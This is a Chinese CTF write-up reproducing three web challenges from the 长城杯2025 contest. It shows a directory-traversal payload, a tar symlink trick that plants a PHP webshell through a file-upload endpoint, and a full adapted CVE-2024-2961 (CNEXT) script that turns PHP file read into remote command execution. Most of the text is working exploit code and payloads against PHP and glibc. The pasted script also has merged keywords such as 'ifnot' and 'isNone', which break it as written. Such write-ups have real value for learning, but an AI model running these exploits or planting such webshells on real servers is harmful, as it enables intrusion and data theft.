长城杯2025复现

  1. 长城杯2025复现
    1. 文曲签学
    2. EZ_upload
      1. 前置知识
        1. 软链接
        2. tar命令
          1. 常用选项
          2. 主要操作选项(必须选择其中一个)
        3. 源码以及解题思路:
    3. SeRce

长城杯2025复现

文曲签学

简单的目录穿越:

1
read ....//....//....//....//flag

EZ_upload

前置知识

软链接

在Linux系统中,创建软链接是一项常见且实用的操作。基本语法如下:

ln -s 源文件或目录 目标文件或目录

这个命令的核心在于 -s选项 ,它指示系统创建软链接而非默认的硬链接。

使用时,只需指定源文件(或目录)和目标位置,系统就会在目标位置创建一个指向源文件的特殊文件。这种方法允许用户在不复制文件内容的情况下,实现文件的便捷访问和管理,特别适用于需要跨文件系统或频繁移动文件的情况。

常用选项

-f (force)选项:
强制创建链接,即使目标文件已经存在也会替换。这在自动化脚本中非常有用,可以避免因文件已存在而导致的错误。

示例:ln -sf /path/to/source /path/to/target

-i (interactive)选项:
在创建链接前询问用户是否继续。这对于防止意外覆盖现有文件特别有用,增加了操作的安全性。

示例:ln -si /path/to/source /path/to/target

-v (verbose)选项:
显示详细的执行过程,包括创建的每个链接的具体信息。这在调试或需要了解操作细节时非常有帮助。

示例:ln -sv /path/to/source /path/to/target

-b (backup)选项:
为已存在的目标文件创建备份。这进一步增强了操作的安全性,允许用户在出现问题时恢复旧文件。

利用示例:

先在test目录下创建一个1.php,内容为

1
flag{123}

然后创建一个软链接指向1.php

1
ln -s /home/kali/test/1.php www

然后这时我们直接cat www,发现回显

1
flag{123}

tar命令

详细解释:https://blog.csdn.net/2302_80871796/article/details/149029534

tar指令可以用来打包压缩和解压文件,并且还可以实现不解开压缩包,直接查看里面内容的操作,以及只打包不压缩等操作。

语法:

1
tar [选项] [归档文件名] [要归档的文件或目录...]

功能: 打包/解包,不解开压缩包,直接查看里面内容。

常用选项
主要操作选项(必须选择其中一个)
短选项 长选项 功能描述
-c --create 创建新的归档文件
-x --extract 从归档文件中提取文件
-t --list 列出归档文件中的内容
-r --append 向归档文件末尾追加文件
-u --update 仅添加比归档中更新的文件

补充说明:

-c:用于打包文件(通常结合 -f 指定文件名,如 tar -cvf archive.tar files...)。

-x:用于解包文件(如 tar -xvf archive.tar)。

-t:查看归档内容而不解压(如 tar -tvf archive.tar)。

-r:向已存在的 .tar 文件追加文件(注意:不能用于压缩归档如 .tar.gz)。

-u:仅添加比归档内文件更新的文件(类似 -r,但会检查文件时间戳)。

其他常用选项

1
2
3
-f:指定归档文件名(必须选项,后接 .tar、.tar.gz 等文件名)

-v:显示详细处理过程(列出正在处理的文件)

源码以及解题思路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
highlight_file(__FILE__);

function handleFileUpload($file)
{
$uploadDirectory = '/tmp/';

if ($file['error'] !== UPLOAD_ERR_OK) {
echo'文件上传失败。';
return;
}

$filename = basename($file['name']);
$filename = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $filename);

if (empty($filename)) {
echo'文件名不符合要求。';
return;
}

$destination = $uploadDirectory . $filename;
if (move_uploaded_file($file['tmp_name'], $destination)) {
exec('cd /tmp && tar -xvf ' . $filename.'&&pwd');
echo $destination;
} else {
echo'文件移动失败。';
}
}

handleFileUpload($_FILES['file']);
?>

可以看到存在命令拼接,需要我们利用tar命令

首先创建符号链接并打包

1
2
3
4
5
创建一个指向Web根目录的符号链接,然后打包
t1.tar 包含一个指向 /var/www/html 的符号链接 www

ln -s /var/www/html www
tar -cvf t1.tar www

移除链接并创建目录

1
2
3
4
5
移除符号链接,创建真实的 www 目录并进入

rm www
mkdir www
cd www

在www目录下构造webshell

1
2
3
4
vim 1.php
内容:<?php echo exec($_POST[1]);?>

这里不知道为啥用eval不行

然后打包webshell

1
tar -cvf t2.tar www/1.php

tar路径遍历漏洞

第一次先上传t1.tar

  • 创建符号链接 www → /var/www/html
  • 如果tar解压时不检查符号链接,就会创建这个链接

第二次上传t2.tar

  • tar会尝试将 www/1.php 解压到当前目录
  • 但由于第一步创建的符号链接,实际路径变为:
    www/1.php → /var/www/html/1.php
  • 结果:Webshell被写入Web根目录!

然后就能利用webshell了。

payload:

1
c=cat /f*

不知道设置了什么,只有exec函数才能正常接受到GET、POST传参,并且exec函数只能回显一行。有点无语


SeRce

源码:

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
$exp = $_GET["exp"];
if(isset($exp)){
if(serialize(unserialize($exp)) != $exp){
$data = file_get_contents($_POST['filetoread']);
echo "File Contents: $data";
}
}

CVE-2024-2961

https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py

直接使用现成的脚本改一下就行

https://github.com/LSP1025923/CVE/blob/main/CVE-2024-2961(%E9%80%82%E7%94%A8%E4%BA%8E%E9%95%BF%E5%9F%8E%E6%9D%AF2025%E5%B9%B4SeRce)


脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# ADAPTATION: Remote class modified to fit the new challenge:
# - POST field name is `filetoread`
# - GET param `exp` must be present and satisfy
# serialize(unserialize($exp)) != $exp
# Additional modification: capture command output to /dev/shm/cnext_out (fallback /tmp)
# and fetch it back to print locally.
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, run:
# python3 cc.py <target_url> "<command>" [sleep_time] [heap] [pad]
#
# Example:
# python3 cc.py http://127.0.0.1/vuln.php "id" 1
#

from __future__ import annotations

import base64 as _base64
import zlib
import re
import time
from dataclasses import dataclass
from pathlib import Path

from requests.exceptions import ConnectionError, ChunkedEncodingError

from pwn import *
from ten import *


HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")

# Default remote output path (in-memory filesystem preferred)
DEFAULT_OUT_PATH = "/dev/shm/cnext_out"
FALLBACK_OUT_PATH = "/tmp/cnext_out"


class Remote:
"""A helper class to send the payload and download files.

Adapted for the new target that expects:
- GET parameter `exp` to be present and satisfy
serialize(unserialize($exp)) != $exp
- POST parameter name is `filetoread`

Usage:
Remote(url, exp_value="0")
By default exp_value="0" because unserialize("0") -> false and serialize(false) -> 'b:0;'
which differs from "0" and thus triggers the conditional in the provided PHP.
"""

def __init__(self, url: str, exp_value: str = "0") -> None:
self.url = url
self.session = Session()
self.exp_value = exp_value

def send(self, path: str):
"""Sends given `path` to the HTTP server. Returns the response object.

Sends POST with field 'filetoread' and includes ?exp=<exp_value> in the URL.
"""
return self.session.post(self.url, params={"exp": self.exp_value}, data={"filetoread": path})

def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.

The target echoes 'File Contents: <data>' so we extract that.
We use php://filter/convert.base64-encode/resource=... to safely transfer binary.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
if response isNone:
raise ConnectionError("No response from target")

# Match the label printed by the PHP: "File Contents: <base64>"
m = re.search(b"File Contents: (.*)", response.content, flags=re.S)
ifnot m:
# More forgiving match (case-insensitive)
m = re.search(b"[Ff]ile [Cc]ontents: (.*)", response.content, flags=re.S)
ifnot m:
# Last-resort: attempt to find the longest base64-like chunk in the response
# This helps when warnings/HTML are present
cand = re.findall(b"[A-Za-z0-9+/=\\r\\n]{40,}", response.content)
if cand:
# pick the longest candidate
data = max(cand, key=len)
else:
raise ValueError(
"Unexpected response format; couldn't find 'File Contents:' or base64 block.\n"
f"Response ({len(response.content)} bytes):\n{response.content[:800]!r}"
)
else:
data = m.group(1).strip()

# base64 decode (allow newlines)
try:
return _base64.b64decode(data)
except Exception as e:
raise ValueError(f"Base64 decode failed: {e}\nCaptured data (truncated): {data[:400]!r}")


@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep_time", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
"pad",
"Number of 0x100 chunks to pad with. If the website makes a lot of heap "
"operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
"""CNEXT exploit: RCE using a file read primitive in PHP."""

url: str
command: str
sleep: int = 1
heap: str = None
pad: int = 20

def __post_init__(self):
# NOTE: pass exp_value here if you want a different trigger (e.g., exp_value="x")
self.remote = Remote(self.url, exp_value="0")
self.log = logger("EXPLOIT")
self.info = {}
self.heap = self.heap and int(self.heap, 16)

def check_vulnerable(self) -> None:
"""Checks whether the target is reachable and properly allows for the various
wrappers and filters that the exploit needs.
"""

def safe_download(path: str) -> bytes:
try:
return self.remote.download(path)
except ConnectionError:
failure("Target not [b]reachable[/] ?")

def check_token(text: str, path: str) -> bool:
result = safe_download(path)
return text.encode() == result

text = tf.random.string(50).encode()
base64 = b64(text, misalign=True).decode()
path = f"data:text/plain;base64,{base64}"

result = safe_download(path)

if text notin result:
msg_failure("Remote.download did not return the test string")
print("--------------------")
print(f"Expected test string: {text}")
print(f"Got: {result}")
print("--------------------")
failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")

msg_info("The [i]data://[/] wrapper works")

text = tf.random.string(50)
base64 = b64(text.encode(), misalign=True).decode()
path = f"php://filter//resource=data:text/plain;base64,{base64}"
ifnot check_token(text, path):
failure("The [i]php://filter/[/] wrapper does not work")

msg_info("The [i]php://filter/[/] wrapper works")

text = tf.random.string(50)
base64 = b64(compress(text.encode()), misalign=True).decode()
path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"

ifnot check_token(text, path):
failure("The [i]zlib[/] extension is not enabled")

msg_info("The [i]zlib[/] extension is enabled")

msg_success("Exploit preconditions are satisfied")

def get_file(self, path: str, retries: int = 5, delay: float = 1.0) -> bytes:
"""
Download a remote file without using pwntools' live display (msg_status),
retrying a few times because the remote command may take a moment to create it.
"""
last_exc = None
for attempt in range(1, retries + 1):
try:
data = self.remote.download(path)
return data
except Exception as e:
last_exc = e
if attempt < retries:
time.sleep(delay)
else:
raise

def get_regions(self) -> list[Region]:
"""Obtains the memory regions of the PHP process by querying /proc/self/maps."""
maps = self.get_file("/proc/self/maps")
maps = maps.decode()
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b"r".*"r"\s([-rwx]{3}[ps])\s"r"(.*)"
)
regions = []
for region in table.split(maps, strip=True):
if match := PATTERN.match(region):
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if"/"in path or"["in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
print(maps)
failure("Unable to parse memory mappings")

self.log.info(f"Got {len(regions)} memory regions")

return regions

def get_symbols_and_addresses(self) -> None:
"""Obtains useful symbols and addresses from the file read primitive."""
regions = self.get_regions()

LIBC_FILE = "/dev/shm/cnext-libc"

# PHP's heap
self.info["heap"] = self.heap or self.find_main_heap(regions)

# Libc
libc = self._get_region(regions, "libc-", "libc.so")
self.download_file(libc.path, LIBC_FILE)

self.info["libc"] = ELF(LIBC_FILE, checksec=False)
self.info["libc"].address = libc.start

def _get_region(self, regions: list[Region], *names: str) -> Region:
"""Returns the first region whose name matches one of the given names."""
for region in regions:
if any(name in region.path for name in names):
break
else:
failure("Unable to locate region")

return region

def download_file(self, remote_path: str, local_path: str) -> None:
"""Downloads `remote_path` to `local_path`"""
data = self.get_file(remote_path)
Path(local_path).write_bytes(data)

def find_main_heap(self, regions: list[Region]) -> Region:
# Any anonymous RW region with a size superior to the base heap size is a
# candidate. The heap is at the bottom of the region.
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE-1) == 0
and region.path in ("", "[anon:zend_alloc]")
]

ifnot heaps:
failure("Unable to find PHP's main heap in memory")

first = heaps[0]

if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
else:
msg_info(f"Using [i]{hex(first)}[/] as heap")

return first

def run(self) -> None:
self.check_vulnerable()
self.get_symbols_and_addresses()
self.exploit()

def build_exploit_path(self) -> str:
"""Build the php://filter path that encodes the exploit pages as required."""
LIBC = self.info["libc"]
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

ADDR_HEAP = self.info["heap"]
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

CS = 0x100

# Pad needs to stay at size 0x100 at every step
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)

step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)

# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)

step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)

step3_size = CS

step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)

step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)

step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)

# This chunk will eventually overwrite mm_heap->free_slot
# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)

step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)

step4_use_custom_heap_size = 0x140

# -----------------------------
# Modified COMMAND construction:
# build a command that writes stdout+stderr to an output file so we can fetch it later
# -----------------------------
COMMAND = self.command.strip()

# choose preferred remote output path; fallback if needed
out_path = DEFAULT_OUT_PATH

# Build a shell wrapper that optionally sleeps, then runs the command and redirects output.
shell_cmd = "sh -c '"
if self.sleep:
shell_cmd += f"sleep {self.sleep}; "
shell_cmd += f"{COMMAND} > {out_path} 2>&1'"
COMMAND = shell_cmd.encode() + b"\x00"

assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * self.pad
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)

resource = compress(compress(pages))
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"

filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",

# Step 0: Setup heap
"dechunk",
"convert.iconv.L1.L1",

# Step 1: Reverse FL order
"dechunk",
"convert.iconv.L1.L1",

# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.L1.L1",

# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",

# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.L1.L1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"

return path

@inform("Triggering...")
def exploit(self) -> None:
path = self.build_exploit_path()

try:
# send exploit payload; remote may drop connection when exploit triggers
self.remote.send(path)
except (ConnectionError, ChunkedEncodingError):
pass

# Wait for the remote command to execute and write output.
wait_seconds = max(1, int(self.sleep or1) + 2)
print(f"[+] waiting {wait_seconds}s for remote command to run and produce output...")
time.sleep(wait_seconds)

# Try multiple times to read the output file. This helps if the command is slightly delayed.
out_path = DEFAULT_OUT_PATH
tried = 0
max_tries = 6
while tried < max_tries:
tried += 1
try:
output = self.get_file(out_path, retries=2, delay=1.0)
if output:
print("\n--- Command output (preferred path: {}) ---\n".format(out_path))
try:
print(output.decode(errors="replace"))
except Exception:
print(repr(output))
print("\n--- End of output ---\n")
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] (output printed above)")
return
else:
# empty file — maybe command failed to write or truncated; wait and retry
time.sleep(1)
except Exception:
# On first failure, try fallback path (/tmp)
if tried == 1:
print("[!] couldn't read preferred output path; trying fallback /tmp path next...")
out_path = FALLBACK_OUT_PATH
time.sleep(1)
continue
if tried < max_tries:
time.sleep(1)
continue
# final failure: print debug info
msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/] (couldn't read output file)")
try:
# helpful debug: attempt to read /proc/self/maps
maps = self.get_file("/proc/self/maps", retries=1)
print(f"[debug] /proc/self/maps (truncated):\n{maps.decode(errors='replace')[:400]}")
except Exception as ee:
print(f"[debug] Also could not read /proc/self/maps: {ee!r}")
return

# If loop exits without return
msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/] (no output after retries)")

def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`."""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]


def b64(data: bytes, misalign=True) -> bytes:
payload = _base64.b64encode(data)
ifnot misalign and payload.endswith(b"="):
raise ValueError(f"Misaligned: {data}")
return payload


def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)


def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode."""
return"".join(f"={x:02x}"for x in data).upper().encode()


def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size isnotNone:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)

return bucket


def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
"""
if size isNone:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"


@dataclass
class Region:
"""A memory region."""

start: int
stop: int
permissions: str
path: str

@property
def size(self) -> int:
return self.stop - self.start


Exploit()

执行/readflag即可


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
MIXBP github
🌙